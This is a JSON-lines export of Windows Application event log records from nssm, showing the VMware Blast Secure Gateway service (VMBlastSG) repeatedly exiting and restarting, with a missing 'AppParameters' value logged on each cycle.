{"@timestamp":1646626420534,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153775}}
{"@timestamp":1646626420535,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153776}}
{"@timestamp":1646626420535,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153777}}
{"@timestamp":1646626420536,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153778}}
{"@timestamp":1646626549282,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153779}}
{"@timestamp":1646626549283,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153780}}
{"@timestamp":1646626549284,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","147072","0"]}}},"module":"Application","provider":"nssm","sequence":153781}}
{"@timestamp":1646626549284,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["147072","147072","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153782}}
{"@timestamp":1646626549302,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153783}}
{"@timestamp":1646626549302,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153784}}
{"@timestamp":1646626549303,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153785}}
{"@timestamp":1646626549303,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153786}}
{"@timestamp":1646626677772,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153787}}
{"@timestamp":1646626677774,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153788}}
{"@timestamp":1646626677774,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151056","0"]}}},"module":"Application","provider":"nssm","sequence":153789}}
{"@timestamp":1646626677775,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151056","151056","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153790}}
{"@timestamp":1646626677794,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153791}}
{"@timestamp":1646626677794,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153792}}
{"@timestamp":1646626677795,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153793}}
{"@timestamp":1646626677796,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153794}}
{"@timestamp":1646626806295,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153795}}
{"@timestamp":1646626806296,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153796}}
{"@timestamp":1646626806297,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","147008","0"]}}},"module":"Application","provider":"nssm","sequence":153797}}
{"@timestamp":1646626806297,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["147008","147008","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153798}}
{"@timestamp":1646626806315,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153799}}
{"@timestamp":1646626806315,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153800}}
{"@timestamp":1646626806316,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153801}}
{"@timestamp":1646626806317,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153802}}
{"@timestamp":1646626934829,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153803}}
{"@timestamp":1646626934831,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153804}}
{"@timestamp":1646626934832,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","147324","0"]}}},"module":"Application","provider":"nssm","sequence":153805}}
{"@timestamp":1646626934832,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["147324","147324","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153806}}
{"@timestamp":1646626934851,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153807}}
{"@timestamp":1646626934852,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153808}}
{"@timestamp":1646626934852,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153809}}
{"@timestamp":1646626934853,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153810}}
{"@timestamp":1646627063458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153811}}
{"@timestamp":1646627063459,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153812}}
{"@timestamp":1646627063460,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149836","0"]}}},"module":"Application","provider":"nssm","sequence":153813}}
{"@timestamp":1646627063460,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149836","149836","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153814}}
{"@timestamp":1646627063479,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153815}}
{"@timestamp":1646627063480,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153816}}
{"@timestamp":1646627063480,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153817}}
{"@timestamp":1646627063481,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153818}}
{"@timestamp":1646627191983,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153819}}
{"@timestamp":1646627191984,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153820}}
{"@timestamp":1646627191984,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150396","0"]}}},"module":"Application","provider":"nssm","sequence":153821}}
{"@timestamp":1646627191985,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150396","150396","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153822}}
{"@timestamp":1646627192004,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153823}}
{"@timestamp":1646627192005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153824}}
{"@timestamp":1646627192005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153825}}
{"@timestamp":1646627192006,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153826}}
{"@timestamp":1646627320534,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153827}}
{"@timestamp":1646627320536,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153828}}
{"@timestamp":1646627320537,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151452","0"]}}},"module":"Application","provider":"nssm","sequence":153829}}
{"@timestamp":1646627320537,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151452","151452","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153830}}
{"@timestamp":1646627320556,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153831}}
{"@timestamp":1646627320557,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153832}}
{"@timestamp":1646627320557,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153833}}
{"@timestamp":1646627320558,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153834}}
{"@timestamp":1646627449046,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153835}}
{"@timestamp":1646627449047,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153836}}
{"@timestamp":1646627449048,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151524","0"]}}},"module":"Application","provider":"nssm","sequence":153837}}
{"@timestamp":1646627449048,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151524","151524","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153838}}
{"@timestamp":1646627449063,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153839}}
{"@timestamp":1646627449064,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153840}}
{"@timestamp":1646627449064,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153841}}
{"@timestamp":1646627449065,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153842}}
{"@timestamp":1646627577624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153843}}
{"@timestamp":1646627577625,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153844}}
{"@timestamp":1646627577626,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150840","0"]}}},"module":"Application","provider":"nssm","sequence":153845}}
{"@timestamp":1646627577626,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150840","150840","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153846}}
{"@timestamp":1646627577645,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153847}}
{"@timestamp":1646627577646,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153848}}
{"@timestamp":1646627577646,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153849}}
{"@timestamp":1646627577647,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153850}}
{"@timestamp":1646627706142,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153851}}
{"@timestamp":1646627706144,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153852}}
{"@timestamp":1646627706145,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151368","0"]}}},"module":"Application","provider":"nssm","sequence":153853}}
{"@timestamp":1646627706145,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151368","151368","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153854}}
{"@timestamp":1646627706165,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153855}}
{"@timestamp":1646627706166,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153856}}
{"@timestamp":1646627706166,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153857}}
{"@timestamp":1646627706167,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153858}}
{"@timestamp":1646627834662,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153859}}
{"@timestamp":1646627834664,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153860}}
{"@timestamp":1646627834664,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150948","0"]}}},"module":"Application","provider":"nssm","sequence":153861}}
{"@timestamp":1646627834665,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150948","150948","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153862}}
{"@timestamp":1646627834683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153863}}
{"@timestamp":1646627834683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153864}}
{"@timestamp":1646627834684,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153865}}
{"@timestamp":1646627834684,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153866}}
{"@timestamp":1646627963179,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153867}}
{"@timestamp":1646627963181,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153868}}
{"@timestamp":1646627963182,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151464","0"]}}},"module":"Application","provider":"nssm","sequence":153869}}
{"@timestamp":1646627963183,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151464","151464","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153870}}
{"@timestamp":1646627963204,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153871}}
{"@timestamp":1646627963205,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":153872}}
{"@timestamp":1646627963205,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153873}}
{"@timestamp":1646627963206,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":153874}}
{"@timestamp":1646628091866,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":153875}}
{"@timestamp":1646628091867,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":153876}}
{"@timestamp":1646628091868,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151240","0"]}}},"module":"Application","provider":"nssm","sequence":153877}}
{"@timestamp":1646628091869,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151240","151240","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":153878}}
{"@timestamp":1646628091886,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":153879}}
